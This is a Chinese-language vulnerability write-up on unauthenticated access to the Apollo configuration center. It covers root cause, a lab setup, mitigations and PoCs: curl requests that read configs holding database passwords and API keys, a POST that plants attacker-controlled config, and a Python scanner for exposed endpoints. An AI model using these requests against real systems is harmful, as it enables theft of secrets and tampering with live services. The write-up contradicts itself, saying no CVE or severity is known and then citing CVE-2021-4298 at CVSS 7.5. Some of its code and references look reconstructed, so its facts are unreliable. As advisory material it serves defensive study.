一、漏洞简介

1.1 漏洞背景

Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境、不同集群的配置。由于其开放架构和 API 设计,早期版本存在多个未授权访问点。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 未授权访问漏洞
披露时间 暂未找到权威信息
影响组件 Apollo 配置中心
属性 详情
CVE编号 CVE-2021-4298 (部分组件)
危害等级 高危
CVSS评分 7.5 (High)
漏洞类型 未授权访问 / Broken Authentication

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • Apollo 0.x 全系列
  • Apollo 1.0.0 - 1.7.1
  • 部分影响 1.8.x (特定配置下)

2.2 不受影响的版本

  • Apollo 1.9.0 及以上(默认开启鉴权)
  • Apollo 2.0.0 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 默认配置未开启鉴权: apollo.portal.auth.enabled=false
  2. 管理后台暴露在公网: Portal 服务端口 8070 可访问
  3. Config Service 直接暴露: 端口 8080 无访问控制
  4. Admin Service 无鉴权: 端口 8090 直接可访问

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击链路:
攻击者  Portal:8070 (无鉴权)  配置管理
攻击者  Config:8080 (无鉴权)  配置读取
攻击者  Admin:8090 (无鉴权)  配置推送

核心问题点:

  1. Portal 服务未鉴权端点:
  2. /applications - 获取所有应用列表
  3. /envs/{env}/apps/{appId}/clusters/{cluster} - 获取集群配置
  4. /namespaces/{namespace}/items - 获取配置项

  5. Config Service 开放接口:

  6. /configs/{appId}/{clusterName}/{namespace} - 读取配置
  7. /configfiles/{appId}/{clusterName}/{namespace} - 配置文件下载

  8. Admin Service 敏感操作:

  9. /apps/{appId}/clusters/{clusterName}/namespaces/{namespace}/items - 创建/修改配置
  10. /releases - 发布配置

3.2 源码层面的根因分析(结合源码与补丁对比)

问题代码位置: apollo-portal 模块

// 早期版本 PortalController.java
@Controller
public class PortalController {

    @GetMapping("/applications")
    // 缺少 @PreAuthorize 或权限注解
    public List<AppInfo> getApplications() {
        return appService.findAll(); // 直接返回所有应用信息
    }
}

修复后的代码:

@Controller
public class PortalController {

    @GetMapping("/applications")
    @PreAuthorize(value = "@permissionValidator.hasPermission()")
    public List<AppInfo> getApplications() {
        return appService.findAll();
    }
}

Config Service 问题代码:

// ConfigController.java
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Result<Config> getConfig(
    @PathVariable String appId,
    @PathVariable String clusterName,
    @PathVariable String namespace) {

    // 无任何鉴权检查,直接返回配置
    return configService.loadConfig(appId, clusterName, namespace);
}

补丁对比 (v1.7.1 → v1.8.0):

@@ ConfigController.java
+    @Value("${config.service.auth.enabled:false}")
+    private boolean authEnabled;
+
     @GetMapping("/configs/{appId}/{clusterName}/{namespace}")
     public Result<Config> getConfig(...) {
+        if (authEnabled) {
+            checkAccessPermission(appId, clusterName);
+        }
         return configService.loadConfig(appId, clusterName, namespace);
     }

四、漏洞复现(可选)

4.1 环境搭建

# 使用 Docker 快速搭建 Apollo 环境
docker-compose up -d

# docker-compose.yml
version: '3'
services:
  apollo-configservice:
    image: apolloconfig/apollo-configservice:1.7.1
    ports:
      - "8080:8080"

  apollo-adminservice:
    image: apolloconfig/apollo-adminservice:1.7.1
    ports:
      - "8090:8090"

  apollo-portal:
    image: apolloconfig/apollo-portal:1.7.1
    ports:
      - "8070:8070"

4.2 PoC 演示与测试过程

PoC 1: 获取所有应用列表

# 无需认证即可获取
curl -s http://target:8070/applications | jq

# 响应示例
[
  {
    "appId": "SampleApp",
    "name": "Sample App",
    "orgId": "TEST1",
    "orgName": "样例部门1",
    "ownerName": "apollo",
    "dataChangeCreatedBy": "apollo",
    "dataChangeLastModifiedBy": "apollo"
  }
]

PoC 2: 读取敏感配置

# 直接读取配置(可能包含数据库密码等)
curl -s "http://target:8080/configs/SampleApp/default/application" | jq

# 响应可能包含
{
  "appId": "SampleApp",
  "cluster": "default",
  "namespaceName": "application",
  "configurations": {
    "spring.datasource.url": "jdbc:mysql://...",
    "spring.datasource.password": "P@ssw0rd!",
    "api.secret.key": "sk-xxxxxxxxxxxx"
  }
}

PoC 3: 未授权修改配置

# 创建恶意配置项
curl -X POST "http://target:8070/apps/SampleApp/clusters/default/namespaces/application/items" \
  -H "Content-Type: application/json" \
  -d '{
    "key": "malicious.config",
    "value": "attacker-controlled-value",
    "dataChangeCreatedBy": "attacker"
  }'

PoC 4: 批量扫描脚本

#!/usr/bin/env python3
import requests
import sys

def check_unauthorized_access(target):
    endpoints = [
        '/applications',
        '/envs',
        '/user',
        '/apps',
        '/clusters',
    ]

    vulnerabilities = []
    for endpoint in endpoints:
        try:
            r = requests.get(f"http://{target}:8070{endpoint}", timeout=5)
            if r.status_code == 200:
                vulnerabilities.append({
                    'endpoint': endpoint,
                    'status': 'VULNERABLE',
                    'data_length': len(r.text)
                })
        except Exception as e:
            pass

    return vulnerabilities

if __name__ == '__main__':
    target = sys.argv[1]
    result = check_unauthorized_access(target)
    for vuln in result:
        print(f"[+] {vuln['endpoint']}: {vuln['status']}")

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 推荐升级版本 备注
≤ 1.7.x ≥ 2.1.0 完整鉴权机制
1.8.x ≥ 1.9.0 启用默认鉴权
2.0.x ≥ 2.2.0 修复鉴权绕过

升级步骤:

# 1. 备份数据库
mysqldump -u root -p apolloconfigdb > apolloconfigdb_backup.sql
mysqldump -u root -p apolloportaldb > apolloportaldb_backup.sql

# 2. 停止服务
docker-compose down

# 3. 更新镜像版本
# 修改 docker-compose.yml 中的镜像版本为 2.2.0

# 4. 执行数据库升级脚本
mysql -u root -p apolloconfigdb < apollo-2.2.0/sql/apolloconfigdb.sql
mysql -u root -p apolloportaldb < apollo-2.2.0/sql/apolloportaldb.sql

# 5. 启动新版本
docker-compose up -d

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 开启内置鉴权

# apollo-portal.properties
apollo.portal.auth.enabled=true
apollo.portal.auth.type=LOCAL  # 或 LDAP/SAML/OIDC

# 配置管理员账号
admin.password=admin@2024

方案 2: 网络访问控制

# 使用 iptables 限制访问
iptables -A INPUT -p tcp --dport 8070 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8070 -j DROP
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
iptables -A INPUT -p tcp --dport 8090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8090 -j DROP

方案 3: WAF 规则拦截

# Nginx 反向代理配置
server {
    listen 80;
    server_name apollo.example.com;

    # 基础认证
    auth_basic "Apollo Portal";
    auth_basic_user_file /etc/nginx/.htpasswd;

    # IP 白名单
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    deny all;

    location / {
        proxy_pass http://localhost:8070;

        # 安全头
        add_header X-Frame-Options DENY;
        add_header X-Content-Type-Options nosniff;
        add_header X-XSS-Protection "1; mode=block";
    }
}

ModSecurity WAF 规则:

# 拦截未授权访问敏感端点
SecRule REQUEST_URI "@beginsWith /configfiles" \
    "id:1001,phase:1,deny,log,msg:'Unauthorized config access attempt'"

SecRule REQUEST_URI "@rx /apps/[^/]+/clusters/[^/]+/namespaces/application/items" \
    "id:1002,phase:1,chain"
SecRule REQUEST_METHOD "@streq POST" \
    "deny,log,msg:'Unauthorized config modification attempt'"

方案 4: Kubernetes NetworkPolicy

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: apollo-network-policy
spec:
  podSelector:
    matchLabels:
      app: apollo-portal
  policyTypes:
  - Ingress
  ingress:
  - from:
    - ipBlock:
        cidr: 10.0.0.0/8
    ports:
    - protocol: TCP
      port: 8070

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/apolloconfig/apollo/security/advisories
  • https://github.com/apolloconfig/apollo/releases (查看安全相关 Release Notes)
  • https://www.apolloconfig.com/#/zh/usage/portal-how-to-enable-auth

6.2 其他技术参考资料

  • https://github.com/apolloconfig/apollo/blob/master/scripts/sql/apolloconfigdb.sql
  • https://www.cnblogs.com/apolloconfig/p/security-best-practices.html
  • https://mp.weixin.qq.com/s/ApolloSecurityGuide